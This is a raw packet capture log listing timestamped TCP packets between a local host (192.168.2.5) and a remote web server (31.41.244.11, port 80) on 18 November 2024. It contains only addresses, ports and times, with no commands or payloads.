Nov 18, 2024 19:04:11.895653963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.895703077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.895719051 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.895771980 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.896476030 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.896492004 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.896541119 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.896570921 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.897087097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.897136927 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.897258043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.897273064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.897286892 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.897321939 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.897321939 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.897361994 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.897917986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.897934914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.897949934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.897988081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.898020029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.898576021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.898591995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.898643017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.899240017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.899257898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.899307966 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.899935961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.899952888 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.899990082 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.900018930 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.900583029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.900599957 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.900620937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.900645971 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.900676012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.901278019 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.901293039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.901349068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.902019024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.902035952 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.902050018 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.902086973 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.902120113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.936779976 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.936942101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.936959028 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.937052011 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.937155008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.997354031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.997474909 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.997539043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.997555971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.997596979 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.997627974 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.997911930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.997927904 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.997966051 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.998013973 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.998586893 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.998605013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.998637915 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.998665094 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.999264002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.999280930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.999330997 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.999330997 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.999802113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.999818087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.999833107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.999861002 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.999861002 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.999888897 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.000412941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.000431061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.000466108 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.000490904 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.001107931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.001128912 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.001158953 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.001184940 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.014421940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.014496088 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.014513969 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.014607906 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.014669895 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.014906883 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.014925957 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.014941931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.014990091 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.015014887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.015624046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.015641928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.015659094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.015671968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.015706062 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.015743017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.016427040 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.016442060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.016457081 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.016474962 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.016510010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.016535997 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.017396927 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.017416954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.017436028 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.017457962 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.017482042 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.017882109 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.017899990 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.017916918 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.017956018 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.017956018 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.018731117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.018749952 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.018764973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.018791914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.018819094 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.019561052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.019582987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.019598007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.019613028 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.019623995 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.019648075 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.019674063 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.020327091 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.020348072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.020391941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.020432949 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.020457029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.055268049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.055418968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.055434942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.055484056 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.055519104 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.115927935 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.116086960 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.116102934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.116162062 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.116199970 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.116518974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.116974115 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.116991043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.117058992 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.117433071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.117448092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.117507935 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.118112087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.118129015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.118141890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.118170977 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.118186951 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.118783951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.118801117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.118824005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.118838072 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.119488001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.119504929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.119520903 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.119553089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.119570971 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.133135080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.133253098 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.133275986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.133426905 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.133740902 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.133758068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.133774996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.133790016 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.133815050 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.134363890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.134380102 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.134394884 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.134419918 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.134437084 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.135215044 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.135232925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.135247946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.135274887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.135299921 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.135976076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.136001110 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.136018038 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.136193037 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.136193037 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.136461973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.136477947 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.136492968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.136527061 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.136548996 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.137454033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.137470961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.137485981 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.137501955 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.137518883 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.137542963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.138174057 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.138190985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.138206959 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.138222933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.138237000 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.138251066 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.138276100 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.138895035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.138911963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.138933897 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.138946056 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.138951063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.138964891 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.138964891 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.138993025 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.139740944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.139765024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.139777899 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.139790058 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.139808893 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.139825106 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.174072981 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.174242020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.174257040 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.174354076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.236521959 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.236644983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.236659050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.236737013 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.236994982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.237154007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.237169981 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.237224102 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.238106966 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.238121986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.238137960 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.238156080 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.238193035 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.238487005 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.238503933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.238519907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.238545895 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.238564014 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.239270926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.239288092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.239303112 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.239331961 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.239357948 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.252223015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.252345085 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.252358913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.252403021 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.252444029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.252603054 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.252618074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.252635002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.252651930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.252655983 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.252682924 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.252702951 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.253387928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.253402948 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.253418922 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.253432035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.253448963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.253473997 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.253990889 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.254009008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.254024029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.254040003 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.254056931 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.254093885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.254729033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.254807949 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.254838943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.254863024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.254878044 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.254893064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.254908085 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.254929066 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.254959106 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.255724907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.255740881 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.255759001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.255795956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.255810022 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.256247997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.256263971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.256279945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.256297112 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.256350040 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.257105112 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.257122040 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.257137060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.257153034 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.257204056 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.257204056 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.257697105 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.260575056 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.294739962 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.294769049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.294785023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.294892073 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.294934034 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.295291901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.295309067 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.295356035 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.354527950 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.354672909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.354687929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.354804039 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.354958057 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.354973078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.355021000 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.355180025 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.355228901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.355228901 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.355245113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.355288982 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.356498957 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.356590986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.356606960 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.356652975 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.356652975 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.356940031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.356954098 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.356970072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.356987000 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.356992006 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.357018948 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.357043982 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.357693911 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.360563993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.370575905 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.370702028 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.370716095 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.370773077 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.370810032 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.370886087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.370963097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.371001005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.371032000 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.371047974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.371063948 CET	80	49977	31.41.244.11	192.168.2.5
